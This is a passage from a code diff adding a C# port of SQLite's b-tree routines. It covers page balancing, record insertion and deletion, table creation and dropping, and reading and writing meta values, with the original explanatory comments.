+ releasePage(pChild); + return rc; + } + Debug.Assert(sqlite3PagerIswriteable(pChild.pDbPage)); + Debug.Assert(sqlite3PagerIswriteable(pRoot.pDbPage)); + Debug.Assert(pChild.nCell == pRoot.nCell); + + TRACE("BALANCE: copy root %d into %d\n", pRoot.pgno, pChild.pgno); + + /* Copy the overflow cells from pRoot to pChild */ + Array.Copy(pRoot.aOvfl, pChild.aOvfl, pRoot.nOverflow);//memcpy(pChild.aOvfl, pRoot.aOvfl, pRoot.nOverflow*sizeof(pRoot.aOvfl[0])); + pChild.nOverflow = pRoot.nOverflow; + + /* Zero the contents of pRoot. Then install pChild as the right-child. */ + zeroPage(pRoot, pChild.aData[0] & ~PTF_LEAF); + sqlite3Put4byte(pRoot.aData, pRoot.hdrOffset + 8, pgnoChild); + + ppChild = pChild; + return SQLITE_OK; + } + + /* + ** The page that pCur currently points to has just been modified in + ** some way. This function figures out if this modification means the + ** tree needs to be balanced, and if so calls the appropriate balancing + ** routine. Balancing routines are: + ** + ** balance_quick() + ** balance_deeper() + ** balance_nonroot() + */ + static int balance(BtCursor pCur) + { + int rc = SQLITE_OK; + int nMin = pCur.pBt.usableSize * 2 / 3; + u8[] aBalanceQuickSpace = new u8[13]; + u8[] pFree = null; + +#if !NDEBUG || SQLITE_COVERAGE_TEST || DEBUG + int balance_quick_called = 0;//TESTONLY( int balance_quick_called = 0 ); + int balance_deeper_called = 0;//TESTONLY( int balance_deeper_called = 0 ); +#else +int balance_quick_called = 0; +int balance_deeper_called = 0; +#endif + + do + { + int iPage = pCur.iPage; + MemPage pPage = pCur.apPage[iPage]; + + if (iPage == 0) + { + if (pPage.nOverflow != 0) + { + /* The root page of the b-tree is overfull. In this case call the + ** balance_deeper() function to create a new child for the root-page + ** and copy the current contents of the root-page to it. The + ** next iteration of the do-loop will balance the child page. + */ + Debug.Assert((balance_deeper_called++) == 0); + rc = balance_deeper(pPage, ref pCur.apPage[1]); + if (rc == SQLITE_OK) + { + pCur.iPage = 1; + pCur.aiIdx[0] = 0; + pCur.aiIdx[1] = 0; + Debug.Assert(pCur.apPage[1].nOverflow != 0); + } + } + else + { + break; + } + } + else if (pPage.nOverflow == 0 && pPage.nFree <= nMin) + { + break; + } + else + { + MemPage pParent = pCur.apPage[iPage - 1]; + int iIdx = pCur.aiIdx[iPage - 1]; + + rc = sqlite3PagerWrite(pParent.pDbPage); + if (rc == SQLITE_OK) + { +#if !SQLITE_OMIT_QUICKBALANCE + if (pPage.hasData != 0 + && pPage.nOverflow == 1 + && pPage.aOvfl[0].idx == pPage.nCell + && pParent.pgno != 1 + && pParent.nCell == iIdx + ) + { + /* Call balance_quick() to create a new sibling of pPage on which + ** to store the overflow cell. balance_quick() inserts a new cell + ** into pParent, which may cause pParent overflow. If this + ** happens, the next interation of the do-loop will balance pParent + ** use either balance_nonroot() or balance_deeper(). Until this + ** happens, the overflow cell is stored in the aBalanceQuickSpace[] + ** buffer. + ** + ** The purpose of the following Debug.Assert() is to check that only a + ** single call to balance_quick() is made for each call to this + ** function. If this were not verified, a subtle bug involving reuse + ** of the aBalanceQuickSpace[] might sneak in. + */ + Debug.Assert((balance_quick_called++) == 0); + rc = balance_quick(pParent, pPage, aBalanceQuickSpace); + } + else +#endif + { + /* In this case, call balance_nonroot() to redistribute cells + ** between pPage and up to 2 of its sibling pages. This involves + ** modifying the contents of pParent, which may cause pParent to + ** become overfull or underfull. The next iteration of the do-loop + ** will balance the parent page to correct this. + ** + ** If the parent page becomes overfull, the overflow cell or cells + ** are stored in the pSpace buffer allocated immediately below. + ** A subsequent iteration of the do-loop will deal with this by + ** calling balance_nonroot() (balance_deeper() may be called first, + ** but it doesn't deal with overflow cells - just moves them to a + ** different page). Once this subsequent call to balance_nonroot() + ** has completed, it is safe to release the pSpace buffer used by + ** the previous call, as the overflow cell data will have been + ** copied either into the body of a database page or into the new + ** pSpace buffer passed to the latter call to balance_nonroot(). + */ + u8[] pSpace = new u8[pCur.pBt.pageSize];// u8 pSpace = sqlite3PageMalloc( pCur.pBt.pageSize ); + rc = balance_nonroot(pParent, iIdx, pSpace, iPage == 1 ? 1 : 0); + //if (pFree != null) + //{ + // /* If pFree is not NULL, it points to the pSpace buffer used + // ** by a previous call to balance_nonroot(). Its contents are + // ** now stored either on real database pages or within the + // ** new pSpace buffer, so it may be safely freed here. */ + // sqlite3PageFree(ref pFree); + //} + + /* The pSpace buffer will be freed after the next call to + ** balance_nonroot(), or just before this function returns, whichever + ** comes first. */ + pFree = pSpace; + } + } + + pPage.nOverflow = 0; + + /* The next iteration of the do-loop balances the parent page. */ + releasePage(pPage); + pCur.iPage--; + } + } while (rc == SQLITE_OK); + + //if (pFree != null) + //{ + // sqlite3PageFree(ref pFree); + //} + return rc; + } + + + /* + ** Insert a new record into the BTree. The key is given by (pKey,nKey) + ** and the data is given by (pData,nData). The cursor is used only to + ** define what table the record should be inserted into. The cursor + ** is left pointing at a random location. + ** + ** For an INTKEY table, only the nKey value of the key is used. pKey is + ** ignored. For a ZERODATA table, the pData and nData are both ignored. + ** + ** If the seekResult parameter is non-zero, then a successful call to + ** MovetoUnpacked() to seek cursor pCur to (pKey, nKey) has already + ** been performed. seekResult is the search result returned (a negative + ** number if pCur points at an entry that is smaller than (pKey, nKey), or + ** a positive value if pCur points at an etry that is larger than + ** (pKey, nKey)). + ** + ** If the seekResult parameter is 0, then cursor pCur may point to any + ** entry or to no entry at all. In this case this function has to seek + ** the cursor before the new key can be inserted. + */ + static int sqlite3BtreeInsert( + BtCursor pCur, /* Insert data into the table of this cursor */ + byte[] pKey, i64 nKey, /* The key of the new record */ + byte[] pData, int nData, /* The data of the new record */ + int nZero, /* Number of extra 0 bytes to append to data */ + int appendBias, /* True if this is likely an append */ + int seekResult /* Result of prior MovetoUnpacked() call */ + ) + { + int rc; + int loc = seekResult; + int szNew = 0; + int idx; + MemPage pPage; + Btree p = pCur.pBtree; + BtShared pBt = p.pBt; + int oldCell; + byte[] newCell = null; + + if (pCur.eState == CURSOR_FAULT) + { + Debug.Assert(pCur.skipNext != SQLITE_OK); + return pCur.skipNext; + } + + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(pCur.wrFlag != 0 && pBt.inTransaction == TRANS_WRITE && !pBt.readOnly); + Debug.Assert(hasSharedCacheTableLock(p, pCur.pgnoRoot, pCur.pKeyInfo != null ? 1 : 0, 2)); + + /* Assert that the caller has been consistent. If this cursor was opened + ** expecting an index b-tree, then the caller should be inserting blob + ** keys with no associated data. If the cursor was opened expecting an + ** intkey table, the caller should be inserting integer keys with a + ** blob of associated data. */ + Debug.Assert((pKey == null) == (pCur.pKeyInfo == null)); + + /* If this is an insert into a table b-tree, invalidate any incrblob + ** cursors open on the row being replaced (assuming this is a replace + ** operation - if it is not, the following is a no-op). */ + if (pCur.pKeyInfo == null) + { + invalidateIncrblobCursors(p, nKey, 0); + } + + /* Save the positions of any other cursors open on this table. + ** + ** In some cases, the call to btreeMoveto() below is a no-op. For + ** example, when inserting data into a table with auto-generated integer + ** keys, the VDBE layer invokes sqlite3BtreeLast() to figure out the + ** integer key to use. It then calls this function to actually insert the + ** data into the intkey B-Tree. In this case btreeMoveto() recognizes + ** that the cursor is already where it needs to be and returns without + ** doing any work. To avoid thwarting these optimizations, it is important + ** not to clear the cursor here. + */ + rc = saveAllCursors(pBt, pCur.pgnoRoot, pCur); + if (rc != 0) return rc; + if (0 == loc) + { + rc = btreeMoveto(pCur, pKey, nKey, appendBias, ref loc); + if (rc != 0) return rc; + } + Debug.Assert(pCur.eState == CURSOR_VALID || (pCur.eState == CURSOR_INVALID && loc != 0)); + + pPage = pCur.apPage[pCur.iPage]; + Debug.Assert(pPage.intKey != 0 || nKey >= 0); + Debug.Assert(pPage.leaf != 0 || 0 == pPage.intKey); + + TRACE("INSERT: table=%d nkey=%lld ndata=%d page=%d %s\n", + pCur.pgnoRoot, nKey, nData, pPage.pgno, + loc == 0 ? "overwrite" : "new entry"); + Debug.Assert(pPage.isInit != 0); + allocateTempSpace(pBt); + newCell = pBt.pTmpSpace; + //if (newCell == null) return SQLITE_NOMEM; + rc = fillInCell(pPage, newCell, pKey, nKey, pData, nData, nZero, ref szNew); + if (rc != 0) goto end_insert; + Debug.Assert(szNew == cellSizePtr(pPage, newCell)); + Debug.Assert(szNew <= MX_CELL_SIZE(pBt)); + idx = pCur.aiIdx[pCur.iPage]; + if (loc == 0) + { + u16 szOld; + Debug.Assert(idx < pPage.nCell); + rc = sqlite3PagerWrite(pPage.pDbPage); + if (rc != 0) + { + goto end_insert; + } + oldCell = findCell(pPage, idx); + if (0 == pPage.leaf) + { + //memcpy(newCell, oldCell, 4); + newCell[0] = pPage.aData[oldCell + 0]; + newCell[1] = pPage.aData[oldCell + 1]; + newCell[2] = pPage.aData[oldCell + 2]; + newCell[3] = pPage.aData[oldCell + 3]; + } + szOld = cellSizePtr(pPage, oldCell); + rc = clearCell(pPage, oldCell); + dropCell(pPage, idx, szOld, ref rc); + if (rc != 0) goto end_insert; + } + else if (loc < 0 && pPage.nCell > 0) + { + Debug.Assert(pPage.leaf != 0); + idx = ++pCur.aiIdx[pCur.iPage]; + } + else + { + Debug.Assert(pPage.leaf != 0); + } + insertCell(pPage, idx, newCell, szNew, null, 0, ref rc); + Debug.Assert(rc != SQLITE_OK || pPage.nCell > 0 || pPage.nOverflow > 0); + + /* If no error has occured and pPage has an overflow cell, call balance() + ** to redistribute the cells within the tree. Since balance() may move + ** the cursor, zero the BtCursor.info.nSize and BtCursor.validNKey + ** variables. + ** + ** Previous versions of SQLite called moveToRoot() to move the cursor + ** back to the root page as balance() used to invalidate the contents + ** of BtCursor.apPage[] and BtCursor.aiIdx[]. Instead of doing that, + ** set the cursor state to "invalid". This makes common insert operations + ** slightly faster. + ** + ** There is a subtle but important optimization here too. When inserting + ** multiple records into an intkey b-tree using a single cursor (as can + ** happen while processing an "INSERT INTO ... SELECT" statement), it + ** is advantageous to leave the cursor pointing to the last entry in + ** the b-tree if possible. If the cursor is left pointing to the last + ** entry in the table, and the next row inserted has an integer key + ** larger than the largest existing key, it is possible to insert the + ** row without seeking the cursor. This can be a big performance boost. + */ + pCur.info.nSize = 0; + pCur.validNKey = false; + if (rc == SQLITE_OK && pPage.nOverflow != 0) + { + rc = balance(pCur); + + /* Must make sure nOverflow is reset to zero even if the balance() + ** fails. Internal data structure corruption will result otherwise. + ** Also, set the cursor state to invalid. This stops saveCursorPosition() + ** from trying to save the current position of the cursor. */ + pCur.apPage[pCur.iPage].nOverflow = 0; + pCur.eState = CURSOR_INVALID; + } + Debug.Assert(pCur.apPage[pCur.iPage].nOverflow == 0); + + end_insert: + return rc; + } + + /* + ** Delete the entry that the cursor is pointing to. The cursor + ** is left pointing at a arbitrary location. + */ + static int sqlite3BtreeDelete(BtCursor pCur) + { + Btree p = pCur.pBtree; + BtShared pBt = p.pBt; + int rc; /* Return code */ + MemPage pPage; /* Page to delete cell from */ + int pCell; /* Pointer to cell to delete */ + int iCellIdx; /* Index of cell to delete */ + int iCellDepth; /* Depth of node containing pCell */ + + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(pBt.inTransaction == TRANS_WRITE); + Debug.Assert(!pBt.readOnly); + Debug.Assert(pCur.wrFlag != 0); + Debug.Assert(hasSharedCacheTableLock(p, pCur.pgnoRoot, pCur.pKeyInfo != null ? 1 : 0, 2)); + Debug.Assert(!hasReadConflicts(p, pCur.pgnoRoot)); + + if (NEVER(pCur.aiIdx[pCur.iPage] >= pCur.apPage[pCur.iPage].nCell) + || NEVER(pCur.eState != CURSOR_VALID) + ) + { + return SQLITE_ERROR; /* Something has gone awry. */ + } + + /* If this is a delete operation to remove a row from a table b-tree, + ** invalidate any incrblob cursors open on the row being deleted. */ + if (pCur.pKeyInfo == null) + { + invalidateIncrblobCursors(p, pCur.info.nKey, 0); + } + + iCellDepth = pCur.iPage; + iCellIdx = pCur.aiIdx[iCellDepth]; + pPage = pCur.apPage[iCellDepth]; + pCell = findCell(pPage, iCellIdx); + + /* If the page containing the entry to delete is not a leaf page, move + ** the cursor to the largest entry in the tree that is smaller than + ** the entry being deleted. This cell will replace the cell being deleted + ** from the internal node. The 'previous' entry is used for this instead + ** of the 'next' entry, as the previous entry is always a part of the + ** sub-tree headed by the child page of the cell being deleted. This makes + ** balancing the tree following the delete operation easier. */ + if (0 == pPage.leaf) + { + int notUsed = 0; + rc = sqlite3BtreePrevious(pCur, ref notUsed); + if (rc != 0) return rc; + } + + /* Save the positions of any other cursors open on this table before + ** making any modifications. Make the page containing the entry to be + ** deleted writable. Then free any overflow pages associated with the + ** entry and finally remove the cell itself from within the page. + */ + rc = saveAllCursors(pBt, pCur.pgnoRoot, pCur); + if (rc != 0) return rc; + rc = sqlite3PagerWrite(pPage.pDbPage); + if (rc != 0) return rc; + rc = clearCell(pPage, pCell); + dropCell(pPage, iCellIdx, cellSizePtr(pPage, pCell), ref rc); + if (rc != 0) return rc; + + /* If the cell deleted was not located on a leaf page, then the cursor + ** is currently pointing to the largest entry in the sub-tree headed + ** by the child-page of the cell that was just deleted from an internal + ** node. The cell from the leaf node needs to be moved to the internal + ** node to replace the deleted cell. */ + if (0 == pPage.leaf) + { + MemPage pLeaf = pCur.apPage[pCur.iPage]; + int nCell; + Pgno n = pCur.apPage[iCellDepth + 1].pgno; + //byte[] pTmp; + + pCell = findCell(pLeaf, pLeaf.nCell - 1); + nCell = cellSizePtr(pLeaf, pCell); + Debug.Assert(MX_CELL_SIZE(pBt) >= nCell); + + //allocateTempSpace(pBt); + //pTmp = pBt.pTmpSpace; + + rc = sqlite3PagerWrite(pLeaf.pDbPage); + byte[] pNext_4 = new byte[nCell + 4]; + Buffer.BlockCopy(pLeaf.aData, pCell - 4, pNext_4, 0, nCell + 4); + insertCell(pPage, iCellIdx, pNext_4, nCell + 4, null, n, ref rc); //insertCell( pPage, iCellIdx, pCell - 4, nCell + 4, pTmp, n, ref rc ); + dropCell(pLeaf, pLeaf.nCell - 1, nCell, ref rc); + if (rc != 0) return rc; + } + + /* Balance the tree. If the entry deleted was located on a leaf page, + ** then the cursor still points to that page. In this case the first + ** call to balance() repairs the tree, and the if(...) condition is + ** never true. + ** + ** Otherwise, if the entry deleted was on an internal node page, then + ** pCur is pointing to the leaf page from which a cell was removed to + ** replace the cell deleted from the internal node. This is slightly + ** tricky as the leaf node may be underfull, and the internal node may + ** be either under or overfull. In this case run the balancing algorithm + ** on the leaf node first. If the balance proceeds far enough up the + ** tree that we can be sure that any problem in the internal node has + ** been corrected, so be it. Otherwise, after balancing the leaf node, + ** walk the cursor up the tree to the internal node and balance it as + ** well. */ + rc = balance(pCur); + if (rc == SQLITE_OK && pCur.iPage > iCellDepth) + { + while (pCur.iPage > iCellDepth) + { + releasePage(pCur.apPage[pCur.iPage--]); + } + rc = balance(pCur); + } + + if (rc == SQLITE_OK) + { + moveToRoot(pCur); + } + return rc; + } + + /* + ** Create a new BTree table. Write into piTable the page + ** number for the root page of the new table. + ** + ** The type of type is determined by the flags parameter. Only the + ** following values of flags are currently in use. Other values for + ** flags might not work: + ** + ** BTREE_INTKEY|BTREE_LEAFDATA Used for SQL tables with rowid keys + ** BTREE_ZERODATA Used for SQL indices + */ + static int btreeCreateTable(Btree p, ref int piTable, int flags) + { + BtShared pBt = p.pBt; + MemPage pRoot = new MemPage(); + Pgno pgnoRoot = 0; + int rc; + + Debug.Assert(sqlite3BtreeHoldsMutex(p)); + Debug.Assert(pBt.inTransaction == TRANS_WRITE); + Debug.Assert(!pBt.readOnly); + +#if SQLITE_OMIT_AUTOVACUUM +rc = allocateBtreePage(pBt, ref pRoot, ref pgnoRoot, 1, 0); +if( rc !=0){ +return rc; +} +#else + if (pBt.autoVacuum) + { + Pgno pgnoMove = 0; /* Move a page here to make room for the root-page */ + MemPage pPageMove = new MemPage(); /* The page to move to. */ + + /* Creating a new table may probably require moving an existing database + ** to make room for the new tables root page. In case this page turns + ** out to be an overflow page, delete all overflow page-map caches + ** held by open cursors. + */ + invalidateAllOverflowCache(pBt); + + /* Read the value of meta[3] from the database to determine where the + ** root page of the new table should go. meta[3] is the largest root-page + ** created so far, so the new root-page is (meta[3]+1). + */ + sqlite3BtreeGetMeta(p, BTREE_LARGEST_ROOT_PAGE, ref pgnoRoot); + pgnoRoot++; + + /* The new root-page may not be allocated on a pointer-map page, or the + ** PENDING_BYTE page. + */ + while (pgnoRoot == PTRMAP_PAGENO(pBt, pgnoRoot) || + pgnoRoot == PENDING_BYTE_PAGE(pBt)) + { + pgnoRoot++; + } + Debug.Assert(pgnoRoot >= 3); + + /* Allocate a page. The page that currently resides at pgnoRoot will + ** be moved to the allocated page (unless the allocated page happens + ** to reside at pgnoRoot). + */ + rc = allocateBtreePage(pBt, ref pPageMove, ref pgnoMove, pgnoRoot, 1); + if (rc != SQLITE_OK) + { + return rc; + } + + if (pgnoMove != pgnoRoot) + { + /* pgnoRoot is the page that will be used for the root-page of + ** the new table (assuming an error did not occur). But we were + ** allocated pgnoMove. If required (i.e. if it was not allocated + ** by extending the file), the current page at position pgnoMove + ** is already journaled. + */ + u8 eType = 0; + Pgno iPtrPage = 0; + + releasePage(pPageMove); + + /* Move the page currently at pgnoRoot to pgnoMove. */ + rc = btreeGetPage(pBt, pgnoRoot, ref pRoot, 0); + if (rc != SQLITE_OK) + { + return rc; + } + rc = ptrmapGet(pBt, pgnoRoot, ref eType, ref iPtrPage); + if (eType == PTRMAP_ROOTPAGE || eType == PTRMAP_FREEPAGE) + { +#if SQLITE_DEBUG || DEBUG + rc = SQLITE_CORRUPT_BKPT(); +#else +rc = SQLITE_CORRUPT_BKPT; +#endif + } + if (rc != SQLITE_OK) + { + releasePage(pRoot); + return rc; + } + Debug.Assert(eType != PTRMAP_ROOTPAGE); + Debug.Assert(eType != PTRMAP_FREEPAGE); + rc = relocatePage(pBt, pRoot, eType, iPtrPage, pgnoMove, 0); + releasePage(pRoot); + + /* Obtain the page at pgnoRoot */ + if (rc != SQLITE_OK) + { + return rc; + } + rc = btreeGetPage(pBt, pgnoRoot, ref pRoot, 0); + if (rc != SQLITE_OK) + { + return rc; + } + rc = sqlite3PagerWrite(pRoot.pDbPage); + if (rc != SQLITE_OK) + { + releasePage(pRoot); + return rc; + } + } + else + { + pRoot = pPageMove; + } + + /* Update the pointer-map and meta-data with the new root-page number. */ + ptrmapPut(pBt, pgnoRoot, PTRMAP_ROOTPAGE, 0, ref rc); + if (rc != 0) + { + releasePage(pRoot); + return rc; + } + rc = sqlite3BtreeUpdateMeta(p, 4, pgnoRoot); + if (rc != 0) + { + releasePage(pRoot); + return rc; + } + + } + else + { + rc = allocateBtreePage(pBt, ref pRoot, ref pgnoRoot, 1, 0); + if (rc != 0) return rc; + } +#endif + Debug.Assert(sqlite3PagerIswriteable(pRoot.pDbPage)); + zeroPage(pRoot, flags | PTF_LEAF); + sqlite3PagerUnref(pRoot.pDbPage); + piTable = (int)pgnoRoot; + return SQLITE_OK; + } + static int sqlite3BtreeCreateTable(Btree p, ref int piTable, int flags) + { + int rc; + sqlite3BtreeEnter(p); + rc = btreeCreateTable(p, ref piTable, flags); + sqlite3BtreeLeave(p); + return rc; + } + + /* + ** Erase the given database page and all its children. Return + ** the page to the freelist. + */ + static int clearDatabasePage( + BtShared pBt, /* The BTree that contains the table */ + Pgno pgno, /* Page number to clear */ + int freePageFlag, /* Deallocate page if true */ + ref int pnChange + ) + { + MemPage pPage = new MemPage(); + int rc; + byte[] pCell; + int i; + + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + if (pgno > pagerPagecount(pBt)) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + + rc = getAndInitPage(pBt, pgno, ref pPage); + if (rc != 0) return rc; + for (i = 0; i < pPage.nCell; i++) + { + int iCell = findCell(pPage, i); pCell = pPage.aData; // pCell = findCell( pPage, i ); + if (0 == pPage.leaf) + { + rc = clearDatabasePage(pBt, sqlite3Get4byte(pCell, iCell), 1, ref pnChange); + if (rc != 0) goto cleardatabasepage_out; + } + rc = clearCell(pPage, iCell); + if (rc != 0) goto cleardatabasepage_out; + } + if (0 == pPage.leaf) + { + rc = clearDatabasePage(pBt, sqlite3Get4byte(pPage.aData, 8), 1, ref pnChange); + if (rc != 0) goto cleardatabasepage_out; + } + else //if (pnChange != 0) + { + //Debug.Assert(pPage.intKey != 0); + pnChange += pPage.nCell; + } + if (freePageFlag != 0) + { + freePage(pPage, ref rc); + } + else if ((rc = sqlite3PagerWrite(pPage.pDbPage)) == 0) + { + zeroPage(pPage, pPage.aData[0] | PTF_LEAF); + } + + cleardatabasepage_out: + releasePage(pPage); + return rc; + } + + /* + ** Delete all information from a single table in the database. iTable is + ** the page number of the root of the table. After this routine returns, + ** the root page is empty, but still exists. + ** + ** This routine will fail with SQLITE_LOCKED if there are any open + ** read cursors on the table. Open write cursors are moved to the + ** root of the table. + ** + ** If pnChange is not NULL, then table iTable must be an intkey table. The + ** integer value pointed to by pnChange is incremented by the number of + ** entries in the table. + */ + static int sqlite3BtreeClearTable(Btree p, int iTable, ref int pnChange) + { + int rc; + BtShared pBt = p.pBt; + sqlite3BtreeEnter(p); + Debug.Assert(p.inTrans == TRANS_WRITE); + + /* Invalidate all incrblob cursors open on table iTable (assuming iTable + ** is the root of a table b-tree - if it is not, the following call is + ** a no-op). */ + invalidateIncrblobCursors(p, 0, 1); + + rc = saveAllCursors(pBt, (Pgno)iTable, null); + if (SQLITE_OK == rc) + { + rc = clearDatabasePage(pBt, (Pgno)iTable, 0, ref pnChange); + } + sqlite3BtreeLeave(p); + return rc; + } + + /* + ** Erase all information in a table and add the root of the table to + ** the freelist. Except, the root of the principle table (the one on + ** page 1) is never added to the freelist. + ** + ** This routine will fail with SQLITE_LOCKED if there are any open + ** cursors on the table. + ** + ** If AUTOVACUUM is enabled and the page at iTable is not the last + ** root page in the database file, then the last root page + ** in the database file is moved into the slot formerly occupied by + ** iTable and that last slot formerly occupied by the last root page + ** is added to the freelist instead of iTable. In this say, all + ** root pages are kept at the beginning of the database file, which + ** is necessary for AUTOVACUUM to work right. piMoved is set to the + ** page number that used to be the last root page in the file before + ** the move. If no page gets moved, piMoved is set to 0. + ** The last root page is recorded in meta[3] and the value of + ** meta[3] is updated by this procedure. + */ + static int btreeDropTable(Btree p, Pgno iTable, ref int piMoved) + { + int rc; + MemPage pPage = null; + BtShared pBt = p.pBt; + + Debug.Assert(sqlite3BtreeHoldsMutex(p)); + Debug.Assert(p.inTrans == TRANS_WRITE); + + /* It is illegal to drop a table if any cursors are open on the + ** database. This is because in auto-vacuum mode the backend may + ** need to move another root-page to fill a gap left by the deleted + ** root page. If an open cursor was using this page a problem would + ** occur. + ** + ** This error is caught long before control reaches this point. + */ + if (NEVER(pBt.pCursor)) + { + sqlite3ConnectionBlocked(p.db, pBt.pCursor.pBtree.db); + return SQLITE_LOCKED_SHAREDCACHE; + } + + rc = btreeGetPage(pBt, (Pgno)iTable, ref pPage, 0); + if (rc != 0) return rc; + int Dummy0 = 0; rc = sqlite3BtreeClearTable(p, (int)iTable, ref Dummy0); + if (rc != 0) + { + releasePage(pPage); + return rc; + } + + piMoved = 0; + + if (iTable > 1) + { +#if SQLITE_OMIT_AUTOVACUUM +freePage(pPage, ref rc); +releasePage(pPage); +#else + if (pBt.autoVacuum) + { + Pgno maxRootPgno = 0; + sqlite3BtreeGetMeta(p, BTREE_LARGEST_ROOT_PAGE, ref maxRootPgno); + + if (iTable == maxRootPgno) + { + /* If the table being dropped is the table with the largest root-page + ** number in the database, put the root page on the free list. + */ + freePage(pPage, ref rc); + releasePage(pPage); + if (rc != SQLITE_OK) + { + return rc; + } + } + else + { + /* The table being dropped does not have the largest root-page + ** number in the database. So move the page that does into the + ** gap left by the deleted root-page. + */ + MemPage pMove = new MemPage(); + releasePage(pPage); + rc = btreeGetPage(pBt, maxRootPgno, ref pMove, 0); + if (rc != SQLITE_OK) + { + return rc; + } + rc = relocatePage(pBt, pMove, PTRMAP_ROOTPAGE, 0, iTable, 0); + releasePage(pMove); + if (rc != SQLITE_OK) + { + return rc; + } + pMove = null; + rc = btreeGetPage(pBt, maxRootPgno, ref pMove, 0); + freePage(pMove, ref rc); + releasePage(pMove); + if (rc != SQLITE_OK) + { + return rc; + } + piMoved = (int)maxRootPgno; + } + + /* Set the new 'max-root-page' value in the database header. This + ** is the old value less one, less one more if that happens to + ** be a root-page number, less one again if that is the + ** PENDING_BYTE_PAGE. + */ + maxRootPgno--; + while (maxRootPgno == PENDING_BYTE_PAGE(pBt) + || PTRMAP_ISPAGE(pBt, maxRootPgno)) + { + maxRootPgno--; + } + Debug.Assert(maxRootPgno != PENDING_BYTE_PAGE(pBt)); + + rc = sqlite3BtreeUpdateMeta(p, 4, maxRootPgno); + } + else + { + freePage(pPage, ref rc); + releasePage(pPage); + } +#endif + } + else + { + /* If sqlite3BtreeDropTable was called on page 1. + ** This really never should happen except in a corrupt + ** database. + */ + zeroPage(pPage, PTF_INTKEY | PTF_LEAF); + releasePage(pPage); + } + return rc; + } + static int sqlite3BtreeDropTable(Btree p, int iTable, ref int piMoved) + { + int rc; + sqlite3BtreeEnter(p); + rc = btreeDropTable(p, (u32)iTable, ref piMoved); + sqlite3BtreeLeave(p); + return rc; + } + + + /* + ** This function may only be called if the b-tree connection already + ** has a read or write transaction open on the database. + ** + ** Read the meta-information out of a database file. Meta[0] + ** is the number of free pages currently in the database. Meta[1] + ** through meta[15] are available for use by higher layers. Meta[0] + ** is read-only, the others are read/write. + ** + ** The schema layer numbers meta values differently. At the schema + ** layer (and the SetCookie and ReadCookie opcodes) the number of + ** free pages is not visible. So Cookie[0] is the same as Meta[1]. + */ + static void sqlite3BtreeGetMeta(Btree p, int idx, ref u32 pMeta) + { + BtShared pBt = p.pBt; + + sqlite3BtreeEnter(p); + Debug.Assert(p.inTrans > TRANS_NONE); + Debug.Assert(SQLITE_OK == querySharedCacheTableLock(p, MASTER_ROOT, READ_LOCK)); + Debug.Assert(pBt.pPage1 != null); + Debug.Assert(idx >= 0 && idx <= 15); + + pMeta = sqlite3Get4byte(pBt.pPage1.aData, 36 + idx * 4); + + /* If auto-vacuum is disabled in this build and this is an auto-vacuum + ** database, mark the database as read-only. */ +#if SQLITE_OMIT_AUTOVACUUM +if( idx==BTREE_LARGEST_ROOT_PAGE && pMeta>0 ) pBt.readOnly = 1; +#endif + + sqlite3BtreeLeave(p); + } + + /* + ** Write meta-information back into the database. Meta[0] is + ** read-only and may not be written. + */ + static int sqlite3BtreeUpdateMeta(Btree p, int idx, u32 iMeta) + { + BtShared pBt = p.pBt; + byte[] pP1; + int rc; + Debug.Assert(idx >= 1 && idx <= 15); + sqlite3BtreeEnter(p); + Debug.Assert(p.inTrans == TRANS_WRITE); + Debug.Assert(pBt.pPage1 != null); + pP1 = pBt.pPage1.aData; + rc = sqlite3PagerWrite(pBt.pPage1.pDbPage); + if (rc == SQLITE_OK) + { + sqlite3Put4byte(pP1, 36 + idx * 4, iMeta); +#if !SQLITE_OMIT_AUTOVACUUM + if (idx == BTREE_INCR_VACUUM) + { + Debug.Assert(pBt.autoVacuum || iMeta == 0); + Debug.Assert(iMeta == 0 || iMeta == 1); + pBt.incrVacuum = iMeta != 0; + } +#endif + } + sqlite3BtreeLeave(p); + return rc; + } + +#if !SQLITE_OMIT_BTREECOUNT + /* +** The first argument, pCur, is a cursor opened on some b-tree. Count the +** number of entries in the b-tree and write the result to pnEntry. +** +** SQLITE_OK is returned if the operation is successfully executed. +** Otherwise, if an error is encountered (i.e. an IO error or database +** corruption) an SQLite error code is returned. +*/ + static int sqlite3BtreeCount(BtCursor pCur, ref i64 pnEntry) + { + i64 nEntry = 0; /* Value to return in pnEntry */ + int rc; /* Return code */ + rc = moveToRoot(pCur); + + /* Unless an error occurs, the following loop runs one iteration for each + ** page in the B-Tree structure (not including overflow pages). + */ + while (rc == SQLITE_OK) + { + int iIdx; /* Index of child node in parent */ + MemPage pPage; /* Current page of the b-tree */ + + /* If this is a leaf page or the tree is not an int-key tree, then + ** this page contains countable entries. Increment the entry counter + ** accordingly. + */ + pPage = pCur.apPage[pCur.iPage]; + if (pPage.leaf != 0 || 0 == pPage.intKey) + { + nEntry += pPage.nCell; + } + + /* pPage is a leaf node. This loop navigates the cursor so that it + ** points to the first interior cell that it points to the parent of + ** the next page in the tree that has not yet been visited. The + ** pCur.aiIdx[pCur.iPage] value is set to the index of the parent cell + ** of the page, or to the number of cells in the page if the next page + ** to visit is the right-child of its parent. + ** + ** If all pages in the tree have been visited, return SQLITE_OK to the + ** caller. + */ + if (pPage.leaf != 0) + { + do + { + if (pCur.iPage == 0) + { + /* All pages of the b-tree have been visited. Return successfully. */ + pnEntry = nEntry; + return SQLITE_OK; + } + moveToParent(pCur); + } while (pCur.aiIdx[pCur.iPage] >= pCur.apPage[pCur.iPage].nCell); + + pCur.aiIdx[pCur.iPage]++; + pPage = pCur.apPage[pCur.iPage]; + } + + /* Descend to the child node of the cell that the cursor currently + ** points at. This is the right-child if (iIdx==pPage.nCell). + */ + iIdx = pCur.aiIdx[pCur.iPage]; + if (iIdx == pPage.nCell) + { + rc = moveToChild(pCur, sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8)); + } + else + { + rc = moveToChild(pCur, sqlite3Get4byte(pPage.aData, findCell(pPage, iIdx))); + } + } + + /* An error has occurred. Return an error code. */ + return rc; + } +#endif + + /* +** Return the pager associated with a BTree. This routine is used for +** testing and debugging only. +*/ + static Pager sqlite3BtreePager(Btree p) + { + return p.pBt.pPager; + } + +#if !SQLITE_OMIT_INTEGRITY_CHECK + 